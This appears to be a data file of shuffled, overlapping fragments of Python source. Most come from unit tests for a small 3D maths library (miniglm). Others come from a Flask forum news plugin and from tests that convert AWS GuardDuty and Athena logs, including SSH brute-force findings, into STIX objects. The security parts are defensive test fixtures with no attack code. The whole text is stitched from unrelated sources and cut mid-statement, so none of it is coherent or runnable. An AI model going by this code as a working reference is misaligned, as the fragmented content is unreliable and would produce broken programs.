"/ 2.0, (0.0, 1.0, 0.0)) np.testing.assert_almost_equal(res, (0.0, np.sqrt(2.0) / 2.0,",
"0.5) np.testing.assert_almost_equal(res, 2.0) def test_rotate(): res = miniglm.rotate(miniglm.pi / 3.0,",
"np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]), 0.0) assert type(res) is tuple def test_cast(): quat",
"def test_cross(): res = miniglm.cross((2.0, 3.5, 7.1), (0.2, 10.0, 3.3))",
"7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (3.5, 4.2, 5.8)) assert type(res)",
"= miniglm.swizzle((0.1, 0.7, 0.5, 0.5), 'wxyz') np.testing.assert_almost_equal(res, (0.5, 0.1, 0.7,",
"0.5, 0.5), 'wxyz') np.testing.assert_almost_equal(res, (0.5, 0.1, 0.7, 0.5)) def test_pack_scalar():",
"def test_rotate(): res = miniglm.rotate(miniglm.pi / 3.0, miniglm.norm((0.48, 0.60, 0.64)))",
"0.851, 0.074, 0.518, ) res = miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res), 1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3],",
"np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat) def test_swizzle_vec(): res = miniglm.swizzle((1.0, 2.0,",
"(2.5, 3.8, 4.2)) assert type(res) is tuple def test_add_vec_scalar(): res",
"def test_swizzle_vec(): res = miniglm.swizzle((1.0, 2.0, 3.0), 'yxz') np.testing.assert_almost_equal(res, (2.0,",
"0.5) assert miniglm.pack(quat) == struct.pack('ffff', *quat) def test_pack_mat(): mat =",
") res = miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res), 1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]), res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3],",
"= miniglm.swizzle((1.0, 2.0, 3.0), 'yxz') np.testing.assert_almost_equal(res, (2.0, 1.0, 3.0)) def",
"assert type(res) is tuple def test_mul_vec_vec(): res = miniglm.mul((5.0, 6.0,",
"4.0, 8.0, 4.0)) expected = (0.2, 0.4, 0.8, 0.4) np.testing.assert_almost_equal(res,",
"0.6) np.testing.assert_almost_equal(miniglm.cast(quat), mat) np.testing.assert_almost_equal(miniglm.cast(mat), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(quat)), quat) np.testing.assert_almost_equal(miniglm.cast(miniglm.cast(mat)), mat) def",
"test_norm_vec(): res = miniglm.norm((48.0, 60.0, 64.0)) expected = (0.48, 0.60,",
"/ 2.0, 0.0, np.sqrt(2.0) / 2.0)) def test_rotate_z_90_deg(): res =",
"= (0.48, 0.60, 0.64) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple",
"res[6:9]), 0.0) assert type(res) is tuple def test_cast(): quat =",
"tuple def test_sub_vec_scalar(): res = miniglm.sub((5.0, 6.0, 7.0), 1.5) np.testing.assert_almost_equal(res,",
"19.3)) assert type(res) is tuple def test_dot_vec(): res = miniglm.dot((2.0,",
"1.2)) np.testing.assert_almost_equal(res, (3.5, 4.2, 5.8)) assert type(res) is tuple def",
"res = miniglm.norm((48.0, 60.0, 64.0)) expected = (0.48, 0.60, 0.64)",
"res = miniglm.mul((5.0, 6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (7.5,",
"np.testing.assert_almost_equal(res, (2.0, 4.0, 6.0)) assert type(res) is tuple def test_cross():",
"2.0, 3.0), 2.0) np.testing.assert_almost_equal(res, (2.0, 4.0, 6.0)) assert type(res) is",
"10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_mix_vec(): res = miniglm.mix((2.5, 3.4,",
"miniglm.add((1.0, 2.0, 3.0), 0.5) np.testing.assert_almost_equal(res, (1.5, 2.5, 3.5)) assert type(res)",
"'wxyz') np.testing.assert_almost_equal(res, (0.5, 0.1, 0.7, 0.5)) def test_pack_scalar(): assert miniglm.pack(1.75)",
"58.83) def test_mix_vec(): res = miniglm.mix((2.5, 3.4, 4.6), (7.2, 1.1,",
"(0.5, 0.1, 0.7, 0.5)) def test_pack_scalar(): assert miniglm.pack(1.75) == struct.pack('f',",
"0.3, 0.32, 0.8660254037844387) angle, axis = miniglm.split(quat) np.testing.assert_almost_equal(angle, miniglm.pi /",
"3.0, 0.5) np.testing.assert_almost_equal(res, 2.0) def test_rotate(): res = miniglm.rotate(miniglm.pi /",
"3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, (-59.45, -5.18, 19.3)) assert",
"struct.pack('fff', *vec) def test_pack_quat(): quat = (0.1, 0.7, 0.5, 0.5)",
"6.0, 7.0), 1.5) np.testing.assert_almost_equal(res, (3.5, 4.5, 5.5)) assert type(res) is",
"test_sub_vec_vec(): res = miniglm.sub((5.0, 6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res,",
"test_swizzle_quat(): res = miniglm.swizzle((0.1, 0.7, 0.5, 0.5), 'wxyz') np.testing.assert_almost_equal(res, (0.5,",
"quat = (0.2, 0.4, 0.8, 0.4) mat = (-0.6, 0.8,",
"type(res) is tuple def test_cast(): quat = (0.2, 0.4, 0.8,",
"0.8, 0.4) mat = (-0.6, 0.8, 0.0, -0.48, -0.36, 0.8,",
"miniglm.pack(vec) == struct.pack('fff', *vec) def test_pack_quat(): quat = (0.1, 0.7,",
"import numpy as np import pytest import miniglm def test_add_vec_vec():",
"res = miniglm.mul((1.0, 2.0, 3.0), 2.0) np.testing.assert_almost_equal(res, (2.0, 4.0, 6.0))",
"def test_norm_mat(): mat = ( 0.074, 0.962, -0.259, -0.518, 0.259,",
"test_sub_vec_scalar(): res = miniglm.sub((5.0, 6.0, 7.0), 1.5) np.testing.assert_almost_equal(res, (3.5, 4.5,",
"4.2, 5.8)) assert type(res) is tuple def test_sub_vec_scalar(): res =",
"def test_pack_mat(): mat = (1.0, 2.0, 3.0, 4.0, 5.0, 6.0,",
"<reponame>cprogrammer1994/miniglm<filename>tests/test_simple.py<gh_stars>1-10 import struct import numpy as np import pytest import",
"= miniglm.add((1.0, 2.0, 3.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (2.5, 3.8,",
"0.4, 0.8, 0.4) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def",
"res = miniglm.add((1.0, 2.0, 3.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (2.5,",
"3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_dot_quat(): res",
"(1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0) assert",
"np.sqrt(2.0) / 2.0, np.sqrt(2.0) / 2.0)) def test_norm_vec(): res =",
"(2.0, 4.0, 6.0)) assert type(res) is tuple def test_cross(): res",
"60.0, 64.0)) expected = (0.48, 0.60, 0.64) np.testing.assert_almost_equal(res, expected) assert",
"np.testing.assert_almost_equal(res, (0.0, 0.0, np.sqrt(2.0) / 2.0, np.sqrt(2.0) / 2.0)) def",
"== struct.pack('fff', *vec) def test_pack_quat(): quat = (0.1, 0.7, 0.5,",
"3.8, 4.2)) assert type(res) is tuple def test_add_vec_scalar(): res =",
"0.3, 0.32, 0.8660254037844387) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def",
"np.sqrt(2.0) / 2.0)) def test_rotate_y_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0,",
"miniglm.rotate(miniglm.pi / 3.0, miniglm.norm((0.48, 0.60, 0.64))) expected = (0.24, 0.3,",
"np.testing.assert_almost_equal(res, (0.5, 0.1, 0.7, 0.5)) def test_pack_scalar(): assert miniglm.pack(1.75) ==",
"def test_split_quat(): quat = (0.24, 0.3, 0.32, 0.8660254037844387) angle, axis",
"0.0, 0.0, np.sqrt(2.0) / 2.0)) def test_rotate_y_90_deg(): res = miniglm.rotate(miniglm.pi",
"np.sqrt(2.0) / 2.0, 0.0, np.sqrt(2.0) / 2.0)) def test_rotate_z_90_deg(): res",
"0.0, -0.48, -0.36, 0.8, 0.64, 0.48, 0.6) np.testing.assert_almost_equal(miniglm.cast(quat), mat) np.testing.assert_almost_equal(miniglm.cast(mat),",
"3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def test_mix_vec(): res",
"np.testing.assert_almost_equal(angle, miniglm.pi / 3.0) np.testing.assert_almost_equal(axis, (0.48, 0.60, 0.64)) assert type(axis)",
"res[3:6]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]), 0.0) assert type(res)",
"is tuple def test_cross(): res = miniglm.cross((2.0, 3.5, 7.1), (0.2,",
"= (1.0, 2.0, 3.0) assert miniglm.pack(vec) == struct.pack('fff', *vec) def",
"3.0), 0.5) np.testing.assert_almost_equal(res, (1.5, 2.5, 3.5)) assert type(res) is tuple",
"miniglm.norm(mat) np.testing.assert_almost_equal(miniglm.det(res), 1.0) np.testing.assert_almost_equal(miniglm.cross(res[0:3], res[3:6]), res[6:9]) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6],",
"tuple def test_add_vec_scalar(): res = miniglm.add((1.0, 2.0, 3.0), 0.5) np.testing.assert_almost_equal(res,",
"res = miniglm.rotate(miniglm.pi / 3.0, miniglm.norm((0.48, 0.60, 0.64))) expected =",
"assert miniglm.pack(vec) == struct.pack('fff', *vec) def test_pack_quat(): quat = (0.1,",
"def test_mul_vec_scalar(): res = miniglm.mul((1.0, 2.0, 3.0), 2.0) np.testing.assert_almost_equal(res, (2.0,",
"def test_pack_quat(): quat = (0.1, 0.7, 0.5, 0.5) assert miniglm.pack(quat)",
"def test_cast(): quat = (0.2, 0.4, 0.8, 0.4) mat =",
"/ 2.0, (0.0, 0.0, 1.0)) np.testing.assert_almost_equal(res, (0.0, 0.0, np.sqrt(2.0) /",
"tuple def test_cross(): res = miniglm.cross((2.0, 3.5, 7.1), (0.2, 10.0,",
"2.0)) def test_rotate_y_90_deg(): res = miniglm.rotate(miniglm.pi / 2.0, (0.0, 1.0,",
"-0.518, 0.259, 0.814, 0.851, 0.074, 0.518, ) res = miniglm.norm(mat)",
"= (0.2, 0.4, 0.8, 0.4) mat = (-0.6, 0.8, 0.0,",
"6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (3.5, 4.2, 5.8)) assert",
"miniglm.norm((2.0, 4.0, 8.0, 4.0)) expected = (0.2, 0.4, 0.8, 0.4)",
"test_cast(): quat = (0.2, 0.4, 0.8, 0.4) mat = (-0.6,",
"= miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res, 58.83) def",
"0.0)) np.testing.assert_almost_equal(res, (0.0, np.sqrt(2.0) / 2.0, 0.0, np.sqrt(2.0) / 2.0))",
"64.0)) expected = (0.48, 0.60, 0.64) np.testing.assert_almost_equal(res, expected) assert type(res)",
"res = miniglm.mix((2.5, 3.4, 4.6), (7.2, 1.1, 3.2), 0.2) np.testing.assert_almost_equal(res,",
"np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[3:6]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]), 0.0) assert",
"4.0, 6.0)) assert type(res) is tuple def test_cross(): res =",
"0.2) np.testing.assert_almost_equal(res, (3.44, 2.94, 4.32)) assert type(res) is tuple def",
"as np import pytest import miniglm def test_add_vec_vec(): res =",
"is tuple def test_sub_vec_vec(): res = miniglm.sub((5.0, 6.0, 7.0), (1.5,",
"== struct.pack('ffff', *quat) def test_pack_mat(): mat = (1.0, 2.0, 3.0,",
"is tuple def test_split_quat(): quat = (0.24, 0.3, 0.32, 0.8660254037844387)",
"= miniglm.rotate(miniglm.pi / 2.0, (1.0, 0.0, 0.0)) np.testing.assert_almost_equal(res, (np.sqrt(2.0) /",
"is tuple def test_norm_mat(): mat = ( 0.074, 0.962, -0.259,",
"(0.0, 1.0, 0.0)) np.testing.assert_almost_equal(res, (0.0, np.sqrt(2.0) / 2.0, 0.0, np.sqrt(2.0)",
"miniglm.pack(quat) == struct.pack('ffff', *quat) def test_pack_mat(): mat = (1.0, 2.0,",
"0.0) np.testing.assert_almost_equal(miniglm.dot(res[3:6], res[6:9]), 0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]), 0.0) assert type(res) is",
"0.0, 0.0)) np.testing.assert_almost_equal(res, (np.sqrt(2.0) / 2.0, 0.0, 0.0, np.sqrt(2.0) /",
"0.5)) def test_pack_scalar(): assert miniglm.pack(1.75) == struct.pack('f', 1.75) def test_pack_vec():",
"miniglm.mul((5.0, 6.0, 7.0), (1.5, 1.8, 1.2)) np.testing.assert_almost_equal(res, (7.5, 10.8, 8.4))",
"5.8)) assert type(res) is tuple def test_sub_vec_scalar(): res = miniglm.sub((5.0,",
"miniglm.mix(1.0, 3.0, 0.5) np.testing.assert_almost_equal(res, 2.0) def test_rotate(): res = miniglm.rotate(miniglm.pi",
"0.8660254037844387) np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_split_quat(): quat",
"test_split_quat(): quat = (0.24, 0.3, 0.32, 0.8660254037844387) angle, axis =",
"0.0) np.testing.assert_almost_equal(miniglm.dot(res[0:3], res[6:9]), 0.0) assert type(res) is tuple def test_cast():",
"is tuple def test_norm_quat(): res = miniglm.norm((2.0, 4.0, 8.0, 4.0))",
"np.testing.assert_almost_equal(res, expected) assert type(res) is tuple def test_split_quat(): quat =",
"0.7, 0.5, 0.5), 'wxyz') np.testing.assert_almost_equal(res, (0.5, 0.1, 0.7, 0.5)) def",
"3.4, 4.6), (7.2, 1.1, 3.2), 0.2) np.testing.assert_almost_equal(res, (3.44, 2.94, 4.32))",
"assert type(res) is tuple def test_cast(): quat = (0.2, 0.4,",
"1.0, 3.0)) def test_swizzle_quat(): res = miniglm.swizzle((0.1, 0.7, 0.5, 0.5),",
"/ 2.0, np.sqrt(2.0) / 2.0)) def test_norm_vec(): res = miniglm.norm((48.0,",
"struct.pack('f', 1.75) def test_pack_vec(): vec = (1.0, 2.0, 3.0) assert",
"tuple def test_mul_vec_vec(): res = miniglm.mul((5.0, 6.0, 7.0), (1.5, 1.8,",
"test_dot_quat(): res = miniglm.dot((2.0, 3.5, 7.1), (0.2, 10.0, 3.3)) np.testing.assert_almost_equal(res,"
] |
[
"render_template from .forms import AddForm, DeleteForm from .models import MyPost",
".forms import AddForm, DeleteForm from .models import MyPost from flaskbb.extensions",
"return render_template(\"index.html\", newsposts = MyPost.query.all()) @news.route('/add', methods=['GET', 'POST']) def add():",
"'POST']) def add(): form = AddForm() if form.validate_on_submit(): p =",
"db.session.add(p) db.session.commit() return redirect('/news') return render_template('add.html', form=form) @news.route('/delete', methods=['GET', 'POST'])",
"form.validate_on_submit(): p = MyPost.query.filter(MyPost.name == form.name.data).first() db.session.delete(p) db.session.commit() return redirect('/news')",
"import AddForm, DeleteForm from .models import MyPost from flaskbb.extensions import",
"from flaskbb.extensions import db news = Blueprint(\"news\", __name__, template_folder=\"templates\") def",
"utf-8 -*- from flask import Blueprint, redirect from flaskbb.utils.helpers import",
"form = DeleteForm() if form.validate_on_submit(): p = MyPost.query.filter(MyPost.name == form.name.data).first()",
"redirect from flaskbb.utils.helpers import render_template from .forms import AddForm, DeleteForm",
"<filename>flaskbb/plugins/news/views.py<gh_stars>0 # -*- coding: utf-8 -*- from flask import Blueprint,",
"def index(): return render_template(\"index.html\", newsposts = MyPost.query.all()) @news.route('/add', methods=['GET', 'POST'])",
"from .models import MyPost from flaskbb.extensions import db news =",
"AddForm() if form.validate_on_submit(): p = MyPost(name = form.name.data, text =",
"= Blueprint(\"news\", __name__, template_folder=\"templates\") def inject_news_link(): return render_template(\"navigation_snippet.html\") @news.route(\"/\") def",
"Blueprint(\"news\", __name__, template_folder=\"templates\") def inject_news_link(): return render_template(\"navigation_snippet.html\") @news.route(\"/\") def index():",
"__name__, template_folder=\"templates\") def inject_news_link(): return render_template(\"navigation_snippet.html\") @news.route(\"/\") def index(): return",
"p = MyPost.query.filter(MyPost.name == form.name.data).first() db.session.delete(p) db.session.commit() return redirect('/news') return",
"= AddForm() if form.validate_on_submit(): p = MyPost(name = form.name.data, text",
"flaskbb.extensions import db news = Blueprint(\"news\", __name__, template_folder=\"templates\") def inject_news_link():",
"@news.route('/delete', methods=['GET', 'POST']) def delete(): form = DeleteForm() if form.validate_on_submit():",
"'POST']) def delete(): form = DeleteForm() if form.validate_on_submit(): p =",
"news = Blueprint(\"news\", __name__, template_folder=\"templates\") def inject_news_link(): return render_template(\"navigation_snippet.html\") @news.route(\"/\")",
"def delete(): form = DeleteForm() if form.validate_on_submit(): p = MyPost.query.filter(MyPost.name",
"form.name.data, text = form.text.data) db.session.add(p) db.session.commit() return redirect('/news') return render_template('add.html',",
"= MyPost.query.all()) @news.route('/add', methods=['GET', 'POST']) def add(): form = AddForm()",
"AddForm, DeleteForm from .models import MyPost from flaskbb.extensions import db",
"index(): return render_template(\"index.html\", newsposts = MyPost.query.all()) @news.route('/add', methods=['GET', 'POST']) def",
"# -*- coding: utf-8 -*- from flask import Blueprint, redirect",
"db.session.commit() return redirect('/news') return render_template('add.html', form=form) @news.route('/delete', methods=['GET', 'POST']) def",
"import Blueprint, redirect from flaskbb.utils.helpers import render_template from .forms import",
"form = AddForm() if form.validate_on_submit(): p = MyPost(name = form.name.data,",
"= DeleteForm() if form.validate_on_submit(): p = MyPost.query.filter(MyPost.name == form.name.data).first() db.session.delete(p)",
"DeleteForm() if form.validate_on_submit(): p = MyPost.query.filter(MyPost.name == form.name.data).first() db.session.delete(p) db.session.commit()",
"methods=['GET', 'POST']) def add(): form = AddForm() if form.validate_on_submit(): p",
"redirect('/news') return render_template('add.html', form=form) @news.route('/delete', methods=['GET', 'POST']) def delete(): form",
"import MyPost from flaskbb.extensions import db news = Blueprint(\"news\", __name__,",
"MyPost from flaskbb.extensions import db news = Blueprint(\"news\", __name__, template_folder=\"templates\")",
"form=form) @news.route('/delete', methods=['GET', 'POST']) def delete(): form = DeleteForm() if",
"import render_template from .forms import AddForm, DeleteForm from .models import",
"@news.route('/add', methods=['GET', 'POST']) def add(): form = AddForm() if form.validate_on_submit():",
"return render_template('add.html', form=form) @news.route('/delete', methods=['GET', 'POST']) def delete(): form =",
"inject_news_link(): return render_template(\"navigation_snippet.html\") @news.route(\"/\") def index(): return render_template(\"index.html\", newsposts =",
"-*- from flask import Blueprint, redirect from flaskbb.utils.helpers import render_template",
"from flaskbb.utils.helpers import render_template from .forms import AddForm, DeleteForm from",
"form.text.data) db.session.add(p) db.session.commit() return redirect('/news') return render_template('add.html', form=form) @news.route('/delete', methods=['GET',",
"text = form.text.data) db.session.add(p) db.session.commit() return redirect('/news') return render_template('add.html', form=form)",
"delete(): form = DeleteForm() if form.validate_on_submit(): p = MyPost.query.filter(MyPost.name ==",
"flaskbb.utils.helpers import render_template from .forms import AddForm, DeleteForm from .models",
"-*- coding: utf-8 -*- from flask import Blueprint, redirect from",
"def inject_news_link(): return render_template(\"navigation_snippet.html\") @news.route(\"/\") def index(): return render_template(\"index.html\", newsposts",
"import db news = Blueprint(\"news\", __name__, template_folder=\"templates\") def inject_news_link(): return",
"newsposts = MyPost.query.all()) @news.route('/add', methods=['GET', 'POST']) def add(): form =",
"from .forms import AddForm, DeleteForm from .models import MyPost from",
"add(): form = AddForm() if form.validate_on_submit(): p = MyPost(name =",
"Blueprint, redirect from flaskbb.utils.helpers import render_template from .forms import AddForm,",
"= MyPost.query.filter(MyPost.name == form.name.data).first() db.session.delete(p) db.session.commit() return redirect('/news') return render_template('delete.html',",
"if form.validate_on_submit(): p = MyPost.query.filter(MyPost.name == form.name.data).first() db.session.delete(p) db.session.commit() return",
"if form.validate_on_submit(): p = MyPost(name = form.name.data, text = form.text.data)",
"flask import Blueprint, redirect from flaskbb.utils.helpers import render_template from .forms",
"DeleteForm from .models import MyPost from flaskbb.extensions import db news",
"@news.route(\"/\") def index(): return render_template(\"index.html\", newsposts = MyPost.query.all()) @news.route('/add', methods=['GET',",
"= form.text.data) db.session.add(p) db.session.commit() return redirect('/news') return render_template('add.html', form=form) @news.route('/delete',",
"render_template(\"index.html\", newsposts = MyPost.query.all()) @news.route('/add', methods=['GET', 'POST']) def add(): form",
"from flask import Blueprint, redirect from flaskbb.utils.helpers import render_template from",
"render_template('add.html', form=form) @news.route('/delete', methods=['GET', 'POST']) def delete(): form = DeleteForm()",
"= MyPost(name = form.name.data, text = form.text.data) db.session.add(p) db.session.commit() return",
"return render_template(\"navigation_snippet.html\") @news.route(\"/\") def index(): return render_template(\"index.html\", newsposts = MyPost.query.all())",
"def add(): form = AddForm() if form.validate_on_submit(): p = MyPost(name",
"MyPost.query.filter(MyPost.name == form.name.data).first() db.session.delete(p) db.session.commit() return redirect('/news') return render_template('delete.html', form=form)",
"= form.name.data, text = form.text.data) db.session.add(p) db.session.commit() return redirect('/news') return",
"template_folder=\"templates\") def inject_news_link(): return render_template(\"navigation_snippet.html\") @news.route(\"/\") def index(): return render_template(\"index.html\",",
"form.validate_on_submit(): p = MyPost(name = form.name.data, text = form.text.data) db.session.add(p)",
"MyPost(name = form.name.data, text = form.text.data) db.session.add(p) db.session.commit() return redirect('/news')",
".models import MyPost from flaskbb.extensions import db news = Blueprint(\"news\",",
"MyPost.query.all()) @news.route('/add', methods=['GET', 'POST']) def add(): form = AddForm() if",
"db news = Blueprint(\"news\", __name__, template_folder=\"templates\") def inject_news_link(): return render_template(\"navigation_snippet.html\")",
"p = MyPost(name = form.name.data, text = form.text.data) db.session.add(p) db.session.commit()",
"return redirect('/news') return render_template('add.html', form=form) @news.route('/delete', methods=['GET', 'POST']) def delete():",
"methods=['GET', 'POST']) def delete(): form = DeleteForm() if form.validate_on_submit(): p",
"coding: utf-8 -*- from flask import Blueprint, redirect from flaskbb.utils.helpers",
"render_template(\"navigation_snippet.html\") @news.route(\"/\") def index(): return render_template(\"index.html\", newsposts = MyPost.query.all()) @news.route('/add',"
] |
[
"network_obj is not None, 'network-traffic object type not found' assert",
"in observed_data objects = observed_data['objects'] custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert",
"= result_bundle_objects[1] assert observed_data['id'] is not None assert observed_data['type'] ==",
"observed_data = result_bundle_objects[1] assert 'objects' in observed_data objects = observed_data['objects']",
"'numbytes', 'region', 'version'} assert custom_object['date'] == '2020-06-19' assert custom_object['logstatus'] ==",
"import unittest MODULE = \"aws_athena\" entry_point = EntryPoint() map_data =",
"\"ArcSight Logger\" } } }, \"resourcetype\": \"Instance\" }, \"schemaversion\": 2.0,",
"'dst_port', 'protocols', 'start', 'end'} assert network_obj['type'] == 'network-traffic' assert network_obj['src_ref']",
"to gain unauthorized access to your instance by guessing \"",
"network_obj['protocols'] == ['tcp'] def test_guardduty_custom_attr_json_to_stix(self): \"\"\"to test network stix object",
"\"remoteportdetails\": { \"portname\": \"Unknown\" } } }, \"count\": \"20\", \"detectorid\":",
"== ['tcp'] assert network_obj['start'] == '2020-06-19T06:23:16.000Z' assert network_obj['end'] == '2020-06-19T06:23:18.000Z'",
"data_source['identity_class'] observed_data = result_bundle_objects[1] assert observed_data['id'] is not None assert",
"assert network_obj.keys() == {'type', 'src_ref', 'dst_ref', 'src_port', 'dst_port', 'protocols', 'start',",
"{ \"connectiondirection\": \"INBOUND\", \"localportdetails\": { \"portname\": \"SSH\" }, \"remoteipdetails\": {",
"\"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"172.16.31.10 is performing SSH",
"custom_object['arn'] == 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['finding_id'] == '7ab9d1cb6248e05a0e419a79528761cb' assert",
"\"resourcetype\": \"Instance\" }, \"schemaversion\": 2.0, \"service\": { \"action\": { \"actiontype\":",
"\"OK\", \"numbytes\": 40, \"region\": \"us-east-1\", \"version\": 2 } } result_bundle",
"custom_object['region'] == 'us-east-1' assert custom_object['version'] == 2 def test_guardduty_network_json_to_stix(self): \"\"\"to",
"\"region\": \"us-east-1\", \"version\": 2 } } result_bundle = json_to_stix_translator.convert_to_stix( data_source,",
"== '7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['createdat'] == '2020-07-31T06:37:13.745Z' assert custom_object['partition'] == 'aws'",
"data_source['type'] observed_data = result_bundle_objects[1] assert 'objects' in observed_data objects =",
"{ \"portname\": \"SSH\" }, \"remoteipdetails\": { \"geolocation\": { \"lat\": \"59.2741\",",
"= {} class TestAwsResultsToStix(unittest.TestCase): \"\"\" class to perform unit test",
"Athena logs translate results \"\"\" @staticmethod def get_first(itr, constraint): \"\"\"",
"{ \"key\": \"Name\", \"value\": \"<NAME>\" } } }, \"resourcetype\": \"Instance\"",
"\"<NAME>\" } } }, \"resourcetype\": \"Instance\" }, \"schemaversion\": 2.0, \"service\":",
"against i-031cb81e1f32a36e1. \" \"Brute force attacks are used to gain",
"object \"\"\" return TestAwsResultsToStix.get_first(itr, lambda o: isinstance(o, dict) and o.get('type')",
"unauthorized access to your instance by \" \"guessing the SSH",
"} } options = {\"unmapped_fallback\": True} result_bundle = json_to_stix_translator.convert_to_stix( data_source,",
"brute force attacks against i-031cb81e1f32a36e1.\" \" Brute force attacks are",
"perform unit test case for Aws Athena logs translate results",
"i-031cb81e1f32a36e1.\" \" Brute force attacks are used to gain unauthorized",
"\"localportdetails\": { \"portname\": \"SSH\" }, \"remoteipdetails\": { \"geolocation\": { \"lat\":",
"\"title\": \"85.224.242.94 is performing SSH brute force attacks against i-031cb81e1f32a36e1.\",",
"type not found' assert network_obj.keys() == {'type', 'dst_port', 'src_ref', 'dst_ref',",
"\"172.16.31.10 is performing SSH brute force attacks against i-031cb81e1f32a36e1.\", \"arn\":",
"return next( (obj for obj in itr if constraint(obj)), None",
"performing SSH brute force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\",",
"AB\" } }, \"remoteportdetails\": { \"portname\": \"Unknown\" } } },",
"{ \"asn\": \"2119\", \"asnorg\": \"Telenor Norge AS\", \"isp\": \"Telenor Sverige",
"\"region\": \"us-east-1\", \"type\": \"UnauthorizedAccess:EC2/SSHBruteForce\", \"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\",",
"result_bundle_objects[1] assert observed_data['id'] is not None assert observed_data['type'] == \"observed-data\"",
"\"observed-data\" assert observed_data['created_by_ref'] == result_bundle_identity['id'] assert observed_data['created'] is not None",
"data_source['name'] assert result_bundle_identity['identity_class'] == data_source['identity_class'] observed_data = result_bundle_objects[1] assert observed_data['id']",
"\"15.2066\" }, \"organization\": { \"asn\": \"2119\", \"asnorg\": \"Telenor Norge AS\",",
"check whether the object belongs to respective stix object \"\"\"",
"} } result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options)",
"not None assert observed_data['type'] == \"observed-data\" assert observed_data['created_by_ref'] == result_bundle_identity['id']",
"typ): \"\"\" to check whether the object belongs to respective",
"\"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing SSH brute force",
"not found' assert network_obj.keys() == {'type', 'dst_port', 'src_ref', 'dst_ref', 'src_port',",
"\"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\":",
"the common stix object properties \"\"\" data = { \"guardduty\":",
"\"date\": \"2020-06-19\", \"logstatus\": \"OK\", \"numbytes\": 40, \"region\": \"us-east-1\", \"version\": 2",
"\"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\",",
"test_guardduty_custom_attr_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data = {",
"\"Telenor Sverige AB\" } }, \"remoteportdetails\": { \"portname\": \"Unknown\" }",
"performing SSH brute force attacks against i-031cb81e1f32a36e1.\" \" Brute force",
"\"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"85.224.242.94 is performing",
"entry_point.get_results_translator().map_data data_source = { \"type\": \"identity\", \"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\": \"aws_athena\",",
"SSH brute force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\":",
